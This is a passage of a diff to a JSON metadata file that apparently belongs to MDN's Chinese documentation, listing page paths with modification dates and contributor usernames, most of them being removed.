"2020-10-06T09:20:15.609Z", - "contributors": [ - "phone-burner", - "chrisdavidmills", - "wbamberg", - "teoli", - "fscholz", - "xhlsrj", - "FredWe" - ] - }, - "MDN_at_ten": { - "modified": "2019-03-23T22:50:02.795Z", - "contributors": [ - "FlyingPig", - "cughudson_1", - "WarriorWu" - ] - }, "Mozilla": { "modified": "2020-06-07T07:01:06.707Z", "contributors": [ @@ -5646,14 +4392,6 @@ "RainSlide" ] }, - "Mozilla/Add-ons/WebExtensions/API/contextMenus": { - "modified": "2020-10-15T21:54:13.449Z", - "contributors": [ - "miracleXL", - "yangwang", - "xgqfrms-GitHub" - ] - }, "Mozilla/Add-ons/WebExtensions/API/cookies": { "modified": "2020-10-15T21:52:04.120Z", "contributors": [ @@ -5669,13 +4407,6 @@ "JamesUmmex" ] }, - "Mozilla/Add-ons/WebExtensions/API/devtools.inspectedWindow": { - "modified": "2020-10-15T22:13:56.821Z", - "contributors": [ - "wbamberg", - "ClassJm" - ] - }, "Mozilla/Add-ons/WebExtensions/API/downloads": { "modified": "2020-10-15T22:24:32.261Z", "contributors": [ @@ -5904,12 +4635,6 @@ "zsgwsjj" ] }, - "Mozilla/Add-ons/WebExtensions/API/tabs/查询": { - "modified": "2020-11-25T05:15:24.039Z", - "contributors": [ - "qzwvinner" - ] - }, "Mozilla/Add-ons/WebExtensions/API/types": { "modified": "2020-07-06T02:37:08.205Z" }, @@ -5986,21 +4711,6 @@ "Ruwind" ] }, - "Mozilla/Add-ons/WebExtensions/API/剪切板": { - "modified": "2020-10-15T22:15:08.385Z", - "contributors": [ - "RainSlide", - "faliye", - "gentop" - ] - }, - "Mozilla/Add-ons/WebExtensions/API/剪切板/setImageData": { - "modified": "2020-10-15T22:15:17.586Z", - "contributors": [ - "RainSlide", - "faliye" - ] - }, "Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar": { "modified": "2019-03-18T21:06:43.197Z", "contributors": [ @@ -6131,20 +4841,6 @@ "pea3nut" ] }, - "Mozilla/Add-ons/WebExtensions/Packaging_and_installation": { - "modified": "2019-03-23T22:45:12.350Z", - "contributors": [ - "GrayLight", - "yfdyh000" - ] - }, - "Mozilla/Add-ons/WebExtensions/Porting_from_Google_Chrome": { - "modified": "2019-03-18T21:08:06.832Z", - "contributors": [ - "PaperFlu", - "yfdyh000" - ] - }, "Mozilla/Add-ons/WebExtensions/Prerequisites": { "modified": "2019-03-23T22:45:08.369Z", "contributors": [ @@ -6152,35 +4848,12 @@ "yfdyh000" ] }, - "Mozilla/Add-ons/WebExtensions/Publishing_your_WebExtension": { - "modified": "2019-03-18T21:06:37.903Z", - "contributors": [ - "abcfyk", - "Smartree", - "taadis" - ] - }, "Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page": { "modified": "2020-05-01T09:44:07.553Z", "contributors": [ "ultiwill" ] }, - "Mozilla/Add-ons/WebExtensions/Walkthrough": { - "modified": "2019-09-08T06:17:56.666Z", - "contributors": [ - "Bonlin0", - "ZowieGong", - "LuminousXLB", - "Gszekt", - "boser90", - "yydzxz", - "lightsing", - "CXWorks", - "GrayLight", - "yfdyh000" - ] - }, "Mozilla/Add-ons/WebExtensions/What_are_WebExtensions": { "modified": "2020-05-06T06:16:11.132Z", "contributors": [ @@ -6351,15 +5024,6 @@ "fish-inu" ] }, - "Mozilla/Add-ons/WebExtensions/manifest.json/主页地址": { - "modified": "2020-10-15T21:51:31.504Z", - "contributors": [ - "RainSlide", - "fscholz", - "1010Tech", - "Hypophrenia" - ] - }, "Mozilla/Add-ons/WebExtensions/user_interface": { "modified": "2019-03-18T20:52:33.784Z", "contributors": [ @@ -6398,34 +5062,6 @@ "Jane47Zeng" ] }, - "Mozilla/Add-ons/WebExtensions/user_interface/侧边栏": { - "modified": "2019-03-18T21:02:29.279Z", - "contributors": [ - "dfchong" - ] - }, - "Mozilla/Add-ons/WebExtensions/实现一个设置页面": { - "modified": "2019-09-14T23:46:00.166Z", - "contributors": [ - "ivysrono", - "xcffl", - "Hypophrenia" - ] - }, - "Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件": { - "modified": "2020-09-17T09:25:04.236Z", - "contributors": [ - "kingcc", - "Daryl.Xu" - ] - }, - "Mozilla/Add-ons/WebExtensions/用户界面元素": { - "modified": "2019-03-18T21:06:10.178Z", - "contributors": [ - "qson", - "Hypophrenia" - ] - }, "Mozilla/Developer_guide": { "modified": "2020-06-26T07:13:21.797Z", "contributors": [ @@ -6844,116 +5480,6 @@ "Gay夜" ] }, - "Mozilla/Mozilla_Persona": { - "modified": "2019-03-23T23:09:24.663Z", - "contributors": [ - "world521" - ] - }, - "Python": { - "modified": "2019-03-23T23:11:53.165Z", - "contributors": [ - "JiangLirui", - "xcffl" - ] - }, - "Quirks_Mode_and_Standards_Mode": { - "modified": "2019-03-24T00:17:27.134Z", - "contributors": [ - "OoOoOoOo", - "ziyunfei" - ] - }, - "Server-sent_events": { - "modified": "2020-03-04T10:52:34.764Z", - "contributors": [ - "femaimi", - "RainSlide", - "act262", - "raju_dasa" - ] - }, - "Server-sent_events/EventSource": { - "modified": "2020-10-15T21:21:30.406Z", - "contributors": [ - "into-piece", - "RainSlide", - "Jack.Works", - "xlaoyu", - "xgqfrms-GitHub", - "kameii", - "ziyunfei" - ] - }, - "Server-sent_events/EventSource/EventSource": { - "modified": "2019-08-07T05:55:13.404Z", - "contributors": [ - "ZZES_REN", - "kameii" - ] - }, - "Server-sent_events/EventSource/close": { - "modified": "2019-03-23T22:09:23.731Z", - "contributors": [ - "Char-Ten" - ] - }, - "Server-sent_events/EventSource/onerror": { - "modified": "2019-03-23T22:09:23.181Z", - "contributors": [ - "Char-Ten" - ] - }, - "Server-sent_events/EventSource/onopen": { - "modified": "2019-03-23T22:16:16.621Z", - "contributors": [ - "kameii" - ] - }, - "Server-sent_events/Using_server-sent_events": { - "modified": "2020-10-15T21:21:32.267Z", - "contributors": [ - "kagurakana", - "mkckr0", - "xgqfrms-GitHub", - "jamemark", - "ziyunfei" - ] - }, - "Site_Compatibility_for_Firefox_19": { - "modified": "2019-01-16T17:00:07.852Z", - "contributors": [ - "wbamberg", - "ziyunfei" - ] - }, - "Site_Compatibility_for_Firefox_21": { - "modified": "2019-01-16T17:20:04.063Z", - "contributors": [ - "wbamberg", - "ziyunfei" - ] - }, - "Site_Compatibility_for_Firefox_23": { - "modified": "2019-01-16T17:27:23.228Z", - "contributors": [ - "wbamberg", - "ziyunfei" - ] - }, - "Site_Compatibility_for_Firefox_24": { - "modified": "2019-01-16T17:27:30.001Z", - "contributors": [ - "wbamberg", - "ziyunfei" - ] - }, - "Specification_List": { - "modified": "2019-03-23T23:31:18.870Z", - "contributors": [ - "ziyunfei" - ] - }, "Tools": { "modified": "2020-08-19T03:34:07.960Z", "contributors": [ @@ -7004,13 +5530,6 @@ "Baoer-MBY" ] }, - "Tools/Add-ons": { - "modified": "2020-07-16T22:36:23.904Z", - "contributors": [ - "wbamberg", - "maicss" - ] - }, "Tools/Browser_Console": { "modified": "2020-08-17T23:06:02.026Z", "contributors": [ @@ -7211,14 +5730,6 @@ "ziyunfei" ] }, - "Tools/Page_Inspector/3D_view": { - "modified": "2020-07-16T22:34:25.755Z", - "contributors": [ - "Gitai", - "wbamberg", - "ziyunfei" - ] - }, "Tools/Page_Inspector/How_to": { "modified": "2020-07-16T22:34:32.374Z", "contributors": [ @@ -7314,13 +5825,6 @@ "DyVan_Cheung" ] }, - "Tools/Page_Inspector/How_to/View_fonts": { - "modified": "2020-07-16T22:34:39.361Z", - "contributors": [ - "wbamberg", - "webery" - ] - }, "Tools/Page_Inspector/How_to/Visualize_transforms": { "modified": "2020-07-16T22:34:39.820Z", "contributors": [ @@ -7388,15 +5892,6 @@ "daaain" ] }, - "Tools/Profiler": { - "modified": "2020-07-16T22:35:29.313Z", - "contributors": [ - "wbamberg", - "hstarorg", - "Qcui", - "jackyong" - ] - }, "Tools/Remote_Debugging": { "modified": "2020-07-16T22:35:38.510Z", "contributors": [ @@ -7411,13 +5906,6 @@ "Leo_Ken" ] }, - "Tools/Remote_Debugging/Debugging_Firefox_for_Android_with_WebIDE_clone": { - "modified": "2019-03-23T23:02:33.405Z", - "contributors": [ - "wbamberg", - "qq18588696841" - ] - }, "Tools/Remote_Debugging/Firefox_for_Android": { "modified": "2020-07-16T22:35:39.562Z", "contributors": [ @@ -7430,16 +5918,6 @@ "18353573321" ] }, - "Tools/Responsive_Design_View": { - "modified": "2020-07-16T22:35:22.496Z", - "contributors": [ - "wbamberg", - "Meteormatt", - "maybe", - "ziyunfei", - "dannyxu" - ] - }, "Tools/Rulers": { "modified": "2020-07-16T22:36:26.679Z", "contributors": [ @@ -7487,14 +5965,6 @@ "ziyunfei" ] }, - "Tools/Using_the_Source_Editor": { - "modified": "2020-07-16T22:34:03.695Z", - "contributors": [ - "wbamberg", - "ziyunfei", - "Sanshao" - ] - }, "Tools/Web_Console": { "modified": "2020-07-16T22:34:10.632Z", "contributors": [ @@ -7524,14 +5994,6 @@ "c1er" ] }, - "Tools/Web音频编辑器": { - "modified": "2020-07-16T22:36:08.958Z", - "contributors": [ - "wbamberg", - "ab233", - "DorayHong" - ] - }, "Tools/Working_with_iframes": { "modified": "2020-07-16T22:36:12.232Z", "contributors": [ @@ -7555,61 +6017,6 @@ "lzrhcj" ] }, - "Tools/不推荐的工具": { - "modified": "2020-07-16T22:36:40.884Z", - "contributors": [ - "GMMG55" - ] - }, - "Tools/存储查看器": { - "modified": "2020-07-16T22:36:10.648Z", - "contributors": [ - "hellojackhui" - ] - }, - "Tools/小技巧": { - "modified": "2020-07-16T22:36:36.674Z", - "contributors": [ - "Argon-Pub", - "wbamberg", - "ShirleyM" - ] - }, - "Understanding_Underlines": { - "modified": "2020-06-28T08:17:09.016Z", - "contributors": [ - "riino", - "zsxeee", - "ziyunfei", - "Y001", - "Bonede" - ] - }, - "Updating_extensions_for_Firefox_3": { - "modified": "2019-12-13T20:33:30.985Z", - "contributors": [ - "wbamberg", - "ziyunfei", - "Sheppy", - "phenix", - "Loveunk" - ] - }, - "Using_XPath": { - "modified": "2019-01-16T15:30:24.695Z", - "contributors": [ - "Cuimingda" - ] - }, - "WOFF": { - "modified": "2020-10-15T21:07:54.753Z", - "contributors": [ - "zhangchen", - "MingxunBai", - "fscholz", - "ziyunfei" - ] - }, "Web": { "modified": "2020-09-21T00:46:13.839Z", "contributors": [ @@ -7779,12 +6186,6 @@ "shockw4ver" ] }, - "Web/API/AmbientLightSensor/reading": { - "modified": "2019-03-23T22:07:09.220Z", - "contributors": [ - "shockw4ver" - ] - }, "Web/API/AnalyserNode": { "modified": "2020-10-15T21:30:26.024Z", "contributors": [ @@ -7807,13 +6208,6 @@ "joy-yu" ] }, - "Web/API/AnalyserNode/fft": { - "modified": "2019-03-18T20:44:28.140Z", - "contributors": [ - "RainSlide", - "GabrielchenCN" - ] - }, "Web/API/AnalyserNode/fftSize": { "modified": "2019-03-23T22:19:56.212Z", "contributors": [ @@ -8116,59 +6510,6 @@ "ayqy" ] }, - "Web/API/AudioContext/createAnalyser": { - "modified": "2019-03-23T22:51:30.295Z", - "contributors": [ - "Ambar", - "ayqy" - ] - }, - "Web/API/AudioContext/createBiquadFilter": { - "modified": "2019-03-23T22:19:40.757Z", - "contributors": [ - "feewb", - "yqjiang" - ] - }, - "Web/API/AudioContext/createBuffer": { - "modified": "2019-03-23T22:49:27.952Z", - "contributors": [ - "Taoja", - "LiuTong", - "Losses" - ] - }, - "Web/API/AudioContext/createBufferSource": { - "modified": "2019-03-23T22:26:08.102Z", - "contributors": [ - "Taoja" - ] - }, - "Web/API/AudioContext/createChannelMerger": { - "modified": "2019-03-23T22:21:54.996Z", - "contributors": [ - "win7killer" - ] - }, - "Web/API/AudioContext/createChannelSplitter": { - "modified": "2019-03-23T22:19:41.394Z", - "contributors": [ - "yqjiang" - ] - }, - "Web/API/AudioContext/createConvolver": { - "modified": "2019-03-23T22:31:06.367Z", - "contributors": [ - "TomdyQin" - ] - }, - "Web/API/AudioContext/createDelay": { - "modified": "2019-03-23T22:16:38.056Z", - "contributors": [ - "wang_geng", - "jb145161" - ] - }, "Web/API/AudioContext/createMediaElementSource": { "modified": "2019-03-23T22:09:51.262Z", "contributors": [ @@ -8189,77 +6530,12 @@ "Remond" ] }, - "Web/API/AudioContext/createScriptProcessor": { - "modified": "2020-03-24T04:10:23.984Z", - "contributors": [ - "frankyoung0305", - "zwmin", - "fanmingfei", - "Remond", - "Melo.HG" - ] - }, - "Web/API/AudioContext/createWaveShaper": { - "modified": "2019-03-23T22:15:28.242Z", - "contributors": [ - "SHALLYKL" - ] - }, - "Web/API/AudioContext/currentTime": { - "modified": "2019-03-23T22:52:18.954Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/decodeAudioData": { - "modified": "2019-03-23T22:36:34.575Z", - "contributors": [ - "Taoja", - "huangxok" - ] - }, - "Web/API/AudioContext/destination": { - "modified": "2019-03-23T22:52:09.137Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/listener": { - "modified": "2019-03-23T22:52:15.612Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/mozAudioChannelType": { - "modified": "2019-03-23T22:52:10.983Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/onstatechange": { - "modified": "2019-03-23T22:52:09.265Z", - "contributors": [ - "ayqy" - ] - }, "Web/API/AudioContext/resume": { "modified": "2019-03-23T22:08:48.326Z", "contributors": [ "maicss" ] }, - "Web/API/AudioContext/sampleRate": { - "modified": "2019-03-23T22:52:21.186Z", - "contributors": [ - "ayqy" - ] - }, - "Web/API/AudioContext/state": { - "modified": "2019-03-23T22:52:21.050Z", - "contributors": [ - "ayqy" - ] - }, "Web/API/AudioContext/suspend": { "modified": "2020-11-29T00:47:49.013Z", "contributors": [ @@ -8303,12 +6579,6 @@ "MisicDemone" ] }, - "Web/API/AudioNode/connect(AudioParam)": { - "modified": "2019-03-23T22:18:48.818Z", - "contributors": [ - "smilewalker" - ] - }, "Web/API/AudioNodeOptions": { "modified": "2019-03-18T21:39:54.122Z", "contributors": [ @@ -8756,12 +7026,6 @@ "liruiqi" ] }, - "Web/API/CSSMatrix": { - "modified": "2019-03-23T22:20:22.410Z", - "contributors": [ - "kameii" - ] - }, "Web/API/CSSMediaRule": { "modified": "2020-10-15T21:15:06.065Z", "contributors": [ @@ -8980,12 +7244,6 @@ "hbmakeit" ] }, - "Web/API/CSS分页规则": { - "modified": "2020-10-15T22:24:48.715Z", - "contributors": [ - "hongz1125" - ] - }, "Web/API/Cache": { "modified": "2019-10-06T23:50:04.011Z", "contributors": [ @@ -9092,12 +7350,6 @@ "flyingsouthwind" ] }, - "Web/API/CanvasCaptureMediaStream": { - "modified": "2019-03-18T21:16:31.622Z", - "contributors": [ - "scplay" - ] - }, "Web/API/CanvasGradient": { "modified": "2019-03-23T23:07:24.849Z", "contributors": [ @@ -9669,13 +7921,6 @@ "Blabla cn" ] }, - "Web/API/Canvas_API/Drawing_graphics_with_canvas": { - "modified": "2019-03-23T23:20:14.159Z", - "contributors": [ - "ziyunfei", - "wanglingzhi" - ] - }, "Web/API/Canvas_API/Manipulating_video_using_canvas": { "modified": "2019-03-18T20:39:44.141Z", "contributors": [ @@ -9991,12 +8236,6 @@ "WangLeto" ] }, - "Web/API/Channel_Messaging_API/使用_channel_messaging": { - "modified": "2020-10-15T22:33:04.421Z", - "contributors": [ - "cheiron" - ] - }, "Web/API/CharacterData": { "modified": "2019-03-23T23:09:13.805Z", "contributors": [ @@ -10943,12 +9182,6 @@ "princetoad@gmail.com" ] }, - "Web/API/DeviceAcceleration": { - "modified": "2019-03-23T22:20:59.019Z", - "contributors": [ - "shuangya" - ] - }, "Web/API/DeviceLightEvent": { "modified": "2020-10-15T21:34:11.102Z", "contributors": [ @@ -10957,13 +9190,6 @@ "fscholz" ] }, - "Web/API/DeviceLightEvent/Using_light_events": { - "modified": "2020-10-15T21:34:12.225Z", - "contributors": [ - "RainSlide", - "fskuok" - ] - }, "Web/API/DeviceMotionEvent": { "modified": "2020-10-15T21:47:35.974Z", "contributors": [ @@ -11224,13 +9450,6 @@ "ReyCG" ] }, - "Web/API/Document/cookie/Simple_document.cookie_framework": { - "modified": "2019-03-18T20:55:13.743Z", - "contributors": [ - "Tommy-White", - "xgqfrms-GitHub" - ] - }, "Web/API/Document/createAttribute": { "modified": "2020-10-15T21:04:21.052Z", "contributors": [ @@ -11512,19 +9731,6 @@ "Ende93" ] }, - "Web/API/Document/elementFromPoint": { - "modified": "2019-03-23T23:19:33.886Z", - "contributors": [ - "teoli", - "ziyunfei" - ] - }, - "Web/API/Document/elementsFromPoint": { - "modified": "2019-03-23T22:03:51.668Z", - "contributors": [ - "ziyunfei" - ] - }, "Web/API/Document/embeds": { "modified": "2020-10-15T21:04:20.744Z", "contributors": [ @@ -11667,14 +9873,6 @@ "iFee" ] }, - "Web/API/Document/getSelection": { - "modified": "2019-04-29T02:16:09.423Z", - "contributors": [ - "happyWang", - "teoli", - "AlexChao" - ] - }, "Web/API/Document/hasFocus": { "modified": "2019-04-29T02:46:37.409Z", "contributors": [ @@ -11741,14 +9939,6 @@ "ziyunfei" ] }, - "Web/API/Document/inputEncoding": { - "modified": "2019-03-24T00:17:51.204Z", - "contributors": [ - "teoli", - "AshfaqHossain", - "ziyunfei" - ] - }, "Web/API/Document/keypress_event": { "modified": "2019-04-24T12:26:46.079Z", "contributors": [ @@ -11797,33 +9987,6 @@ "AlexChao" ] }, - "Web/API/Document/mozFullScreen": { - "modified": "2019-06-11T23:50:44.389Z", - "contributors": [ - "xiaoxingchi", - "hb-bobo", - "codeofjackie", - "teoli", - "AshfaqHossain", - "ziyunfei" - ] - }, - "Web/API/Document/mozFullScreenElement": { - "modified": "2019-03-24T00:17:55.698Z", - "contributors": [ - "teoli", - "jsx", - "ziyunfei" - ] - }, - "Web/API/Document/mozFullScreenEnabled": { - "modified": "2019-03-24T00:17:54.483Z", - "contributors": [ - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/Document/mozSyntheticDocument": { "modified": "2019-03-23T22:10:39.057Z", "contributors": [ @@ -11895,12 +10058,6 @@ "Sojourn2017" ] }, - "Web/API/Document/pointerLockElement": { - "modified": "2019-03-23T22:20:46.971Z", - "contributors": [ - "876843240" - ] - }, "Web/API/Document/pointerlockchange_event": { "modified": "2020-10-15T22:32:28.124Z", "contributors": [ @@ -12021,15 +10178,6 @@ "princetoad@gmail.com" ] }, - "Web/API/Document/rouchmove_event": { - "modified": "2019-04-30T14:14:32.752Z", - "contributors": [ - "wbamberg", - "irenesmith", - "fscholz", - "zhaosource" - ] - }, "Web/API/Document/scripts": { "modified": "2019-03-24T00:17:22.230Z", "contributors": [ @@ -12089,14 +10237,6 @@ "xgqfrms-GitHub" ] }, - "Web/API/Document/styleSheets": { - "modified": "2019-03-23T23:10:11.077Z", - "contributors": [ - "xgqfrms-GitHub", - "teoli", - "AlexChao" - ] - }, "Web/API/Document/timeline": { "modified": "2020-10-15T21:52:30.679Z", "contributors": [ @@ -12357,15 +10497,6 @@ "liurenxingyu" ] }, - "Web/API/Document_Object_Model/Preface": { - "modified": "2019-03-23T23:33:00.872Z", - "contributors": [ - "khalid32", - "ziyunfei", - "ReyCG_sub", - "ngoyroe" - ] - }, "Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core": { "modified": "2019-12-13T21:06:35.933Z", "contributors": [ @@ -12455,15 +10586,6 @@ "Dewang" ] }, - "Web/API/Element/Activate_event": { - "modified": "2020-10-15T22:15:27.177Z", - "contributors": [ - "Carllllo", - "wbamberg", - "irenesmith", - "chenyanfei-m" - ] - }, "Web/API/Element/DOMMouseScroll_event": { "modified": "2019-03-19T08:53:40.772Z", "contributors": [ @@ -12472,12 +10594,6 @@ "soYawn" ] }, - "Web/API/Element/accessKey": { - "modified": "2019-03-23T22:20:51.264Z", - "contributors": [ - "songlairui" - ] - }, "Web/API/Element/animate": { "modified": "2019-03-23T22:06:46.374Z", "contributors": [ @@ -12924,30 +11040,12 @@ "hhxxhg" ] }, - "Web/API/Element/name": { - "modified": "2019-03-23T23:09:29.332Z", - "contributors": [ - "mySoul", - "teoli", - "AlexChao" - ] - }, "Web/API/Element/namespaceURI": { "modified": "2019-03-23T22:05:50.221Z", "contributors": [ "nile52" ] }, - "Web/API/Element/onafterscriptexecute": { - "modified": "2019-03-24T00:15:00.171Z", - "contributors": [ - "wbamberg", - "teoli", - "khalid32", - "ziyunfei", - "zhangyaochun1987" - ] - }, "Web/API/Element/onfullscreenchange": { "modified": "2019-03-18T21:19:43.587Z", "contributors": [ @@ -12961,13 +11059,6 @@ "LinChengDior" ] }, - "Web/API/Element/ongotpointercapture": { - "modified": "2019-03-18T21:45:48.501Z", - "contributors": [ - "Bayes", - "StorytellerF" - ] - }, "Web/API/Element/openOrClosedShadowRoot": { "modified": "2020-10-15T22:35:17.746Z", "contributors": [ @@ -13300,13 +11391,6 @@ "ziyunfei" ] }, - "Web/API/Entity": { - "modified": "2020-06-03T01:07:43.853Z", - "contributors": [ - "RainSlide", - "xgqfrms-GitHub" - ] - }, "Web/API/ErrorEvent": { "modified": "2020-10-15T21:38:19.894Z", "contributors": [ @@ -13393,14 +11477,6 @@ "icodeajk" ] }, - "Web/API/Event/createEvent": { - "modified": "2019-03-23T22:56:15.340Z", - "contributors": [ - "holynewbie", - "Serifx", - "yulifu" - ] - }, "Web/API/Event/currentTarget": { "modified": "2020-10-15T21:05:13.846Z", "contributors": [ @@ -13418,13 +11494,6 @@ "ziyunfei" ] }, - "Web/API/Event/deepPath": { - "modified": "2019-03-23T22:13:43.358Z", - "contributors": [ - "DarrenZhang01", - "Gyanxie" - ] - }, "Web/API/Event/defaultPrevented": { "modified": "2020-10-15T21:04:41.129Z", "contributors": [ @@ -13552,14 +11621,6 @@ "ziyunfei" ] }, - "Web/API/Event/禁用时间冒泡": { - "modified": "2019-03-23T22:20:20.011Z", - "contributors": [ - "shockw4ver", - "xgqfrms-GitHub", - "SuunZhu" - ] - }, "Web/API/EventListener": { "modified": "2020-10-15T21:39:17.019Z", "contributors": [ @@ -13644,23 +11705,6 @@ "ziyunfei" ] }, - "Web/API/EventTarget/attachEvent": { - "modified": "2020-12-08T04:46:34.350Z", - "contributors": [ - "bershanskiy", - "JohnsonBryant", - "eeeeeeeason", - "JiexianYang" - ] - }, - "Web/API/EventTarget/detachEvent": { - "modified": "2019-03-23T22:15:37.296Z", - "contributors": [ - "Ende93", - "faremax", - "daisyHawen" - ] - }, "Web/API/EventTarget/dispatchEvent": { "modified": "2020-12-03T00:06:09.374Z", "contributors": [ @@ -13678,12 +11722,6 @@ "charlie" ] }, - "Web/API/EventTarget/fireEvent": { - "modified": "2019-03-23T22:26:26.112Z", - "contributors": [ - "pod4g" - ] - }, "Web/API/EventTarget/removeEventListener": { "modified": "2020-10-15T21:31:36.215Z", "contributors": [ @@ -13713,27 +11751,6 @@ "flyingsouthwind" ] }, - "Web/API/FetchController": { - "modified": "2020-10-15T21:56:50.608Z", - "contributors": [ - "xgqfrms", - "chjxx", - "zhangchen", - "wuCrio" - ] - }, - "Web/API/FetchController/AbortController": { - "modified": "2020-10-15T22:10:15.849Z", - "contributors": [ - "xiiiAtCn" - ] - }, - "Web/API/FetchController/abort": { - "modified": "2020-10-15T22:22:26.939Z", - "contributors": [ - "cuiwei4869" - ] - }, "Web/API/FetchEvent": { "modified": "2019-03-18T20:53:56.985Z", "contributors": [ @@ -13747,12 +11764,6 @@ "flyingsouthwind" ] }, - "Web/API/FetchObserver": { - "modified": "2019-03-23T22:06:02.004Z", - "contributors": [ - "wuCrio" - ] - }, "Web/API/Fetch_API": { "modified": "2020-10-15T21:39:36.250Z", "contributors": [ @@ -14072,12 +12083,6 @@ "mmc" ] }, - "Web/API/FileReader/中止事件(abort)": { - "modified": "2020-12-13T03:52:22.584Z", - "contributors": [ - "VacantHusky" - ] - }, "Web/API/FileReaderSync": { "modified": "2020-10-15T21:07:17.864Z", "contributors": [ @@ -14286,14 +12291,6 @@ "wth" ] }, - "Web/API/FormData/删除": { - "modified": "2020-10-15T21:48:28.738Z", - "contributors": [ - "RainSlide", - "stevobm", - "tomi-li" - ] - }, "Web/API/Frame_Timing_API": { "modified": "2020-03-18T00:42:57.197Z", "contributors": [ @@ -14319,13 +12316,6 @@ "codeofjackie" ] }, - "Web/API/Fullscreen_API/指南": { - "modified": "2020-10-15T22:14:45.841Z", - "contributors": [ - "Soyaine", - "wuzy_oye" - ] - }, "Web/API/GainNode": { "modified": "2020-10-15T21:47:52.341Z", "contributors": [ @@ -14413,19 +12403,6 @@ "ziyunfei" ] }, - "Web/API/Geolocation/Using_geolocation": { - "modified": "2019-07-01T03:42:53.000Z", - "contributors": [ - "aimilu", - "Syoogool", - "rongnianzu", - "rrandom", - "ziyunfei", - "Breezewish", - "shura-china", - "xcffl" - ] - }, "Web/API/Geolocation/clearWatch": { "modified": "2019-03-23T22:21:23.856Z", "contributors": [ @@ -14475,12 +12452,6 @@ "wangxb" ] }, - "Web/API/GeolocationPosition/获取该位置时的时间戳": { - "modified": "2020-10-15T22:32:25.842Z", - "contributors": [ - "liu-yanlong" - ] - }, "Web/API/GeolocationPositionError": { "modified": "2019-12-10T10:46:31.825Z", "contributors": [ @@ -14503,12 +12474,6 @@ "teoli" ] }, - "Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove": { - "modified": "2019-03-23T22:38:32.324Z", - "contributors": [ - "zhangqiong" - ] - }, "Web/API/GlobalEventHandlers/onabort": { "modified": "2019-03-23T22:38:34.243Z", "contributors": [ @@ -14984,13 +12949,6 @@ "1Cr18Ni9" ] }, - "Web/API/GlobalEventHandlers/时长改变": { - "modified": "2020-10-15T22:21:15.042Z", - "contributors": [ - "suvyme", - "amehito" - ] - }, "Web/API/HTMLAnchorElement": { "modified": "2019-03-23T22:49:30.797Z", "contributors": [ @@ -15007,12 +12965,6 @@ "JinRong.Yang" ] }, - "Web/API/HTMLAnchorElement/referrer": { - "modified": "2019-03-23T22:47:13.629Z", - "contributors": [ - "ziyunfei" - ] - }, "Web/API/HTMLAreaElement": { "modified": "2019-03-23T22:59:31.575Z", "contributors": [ @@ -15135,13 +13087,6 @@ "xrr2016" ] }, - "Web/API/HTMLCanvasElement/捕获流": { - "modified": "2020-03-01T21:28:17.989Z", - "contributors": [ - "jollybearchina", - "dxiaoqi" - ] - }, "Web/API/HTMLCollection": { "modified": "2019-03-18T21:11:26.633Z", "contributors": [ @@ -15250,14 +13195,6 @@ "Carllllo" ] }, - "Web/API/HTMLElement/blur": { - "modified": "2019-03-23T22:00:21.147Z", - "contributors": [ - "teoli", - "fscholz", - "ziyunfei" - ] - }, "Web/API/HTMLElement/click": { "modified": "2020-10-15T21:06:30.174Z", "contributors": [ @@ -15289,17 +13226,6 @@ "1Cr18Ni9" ] }, - "Web/API/HTMLElement/dataset": { - "modified": "2019-08-08T12:52:36.012Z", - "contributors": [ - "ilexwg", - "xgqfrms-GitHub", - "teoli", - "ziyunfei", - "ReyCG_sub", - "ReyCG" - ] - }, "Web/API/HTMLElement/dir": { "modified": "2019-03-24T00:16:19.875Z", "contributors": [ @@ -15311,16 +13237,6 @@ "Dewang" ] }, - "Web/API/HTMLElement/focus": { - "modified": "2020-10-15T21:06:47.253Z", - "contributors": [ - "RainSlide", - "slimeball", - "teoli", - "khalid32", - "ziyunfei" - ] - }, "Web/API/HTMLElement/forceSpellCheck": { "modified": "2019-03-18T21:38:32.415Z", "contributors": [ @@ -15349,13 +13265,6 @@ "AlexChao" ] }, - "Web/API/HTMLElement/nonce": { - "modified": "2020-12-05T03:41:17.381Z", - "contributors": [ - "hufeicom", - "chenqingyue" - ] - }, "Web/API/HTMLElement/offsetHeight": { "modified": "2020-10-15T21:33:02.404Z", "contributors": [ @@ -15464,25 +13373,6 @@ "14725" ] }, - "Web/API/HTMLElement/style": { - "modified": "2020-10-15T21:30:08.559Z", - "contributors": [ - "zhuangyin", - "xgqfrms-GitHub", - "distums", - "teoli", - "AlexChao" - ] - }, - "Web/API/HTMLElement/tabIndex": { - "modified": "2019-03-24T00:16:26.046Z", - "contributors": [ - "teoli", - "Hasilt", - "sleepholic", - "ziyunfei" - ] - }, "Web/API/HTMLElement/title": { "modified": "2020-01-21T18:29:28.077Z", "contributors": [ @@ -15681,14 +13571,6 @@ "yingying1957" ] }, - "Web/API/HTMLInputElement/mozSetFileNameArray": { - "modified": "2019-03-23T23:32:37.731Z", - "contributors": [ - "teoli", - "basemnassar11", - "ziyunfei" - ] - }, "Web/API/HTMLInputElement/multiple": { "modified": "2020-10-15T22:22:05.182Z", "contributors": [ @@ -16957,12 +14839,6 @@ "xrr2016" ] }, - "Web/API/Intersection_Observer_API/点观察者API的时序元素可见性": { - "modified": "2019-03-23T22:11:40.163Z", - "contributors": [ - "xgqfrms-GitHub" - ] - }, "Web/API/Keyboard": { "modified": "2020-10-15T22:23:40.344Z", "contributors": [ @@ -17190,12 +15066,6 @@ "tlos142857" ] }, - "Web/API/MSSelection": { - "modified": "2020-02-27T01:47:20.687Z", - "contributors": [ - "MCCF" - ] - }, "Web/API/MathMLElement": { "modified": "2020-10-15T22:28:40.535Z", "contributors": [ @@ -17412,12 +15282,6 @@ "luojia" ] }, - "Web/API/MediaStream.addTrack": { - "modified": "2019-03-23T22:37:09.665Z", - "contributors": [ - "w05163" - ] - }, "Web/API/MediaStream/MediaStream": { "modified": "2020-10-15T22:22:53.267Z", "contributors": [ @@ -17885,12 +15749,6 @@ "Visper" ] }, - "Web/API/NameList": { - "modified": 